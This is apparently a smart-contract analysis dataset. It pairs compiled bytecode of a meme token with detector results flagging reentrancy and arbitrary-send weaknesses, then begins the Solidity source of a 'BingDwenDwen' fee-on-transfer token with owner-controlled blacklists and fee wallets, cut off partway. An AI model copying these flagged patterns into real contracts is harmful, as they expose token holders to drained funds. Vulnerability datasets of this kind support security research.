00080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600b81526020017f53616368696b6f20496e75000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2053616368696b6f000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fd8dbe80c2f9e5a7dcc94f41eda0d9d9de50e8c30c51a23edc4483640bbc27864736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,405 |
0x3A3A22f8a0De7B9334b072CDF31F6aFa1dDef0dD
|
/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
/**
* BingDwenDwen - $BDD
/ http://www.bingdwendweneth.com/
/ https://t.me/BingDwenDwenETH
/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BingDwenDwen is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "BingDwenDwen";//////////////////////////
string private constant _symbol = "BDD";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xB24D507A07F8e96B06c82688D74f1C93F419e9F7);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xDa5ebE279dF060F5AB739215a731721b6260277f);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; //.1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 20000 * 10**9; //.2%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
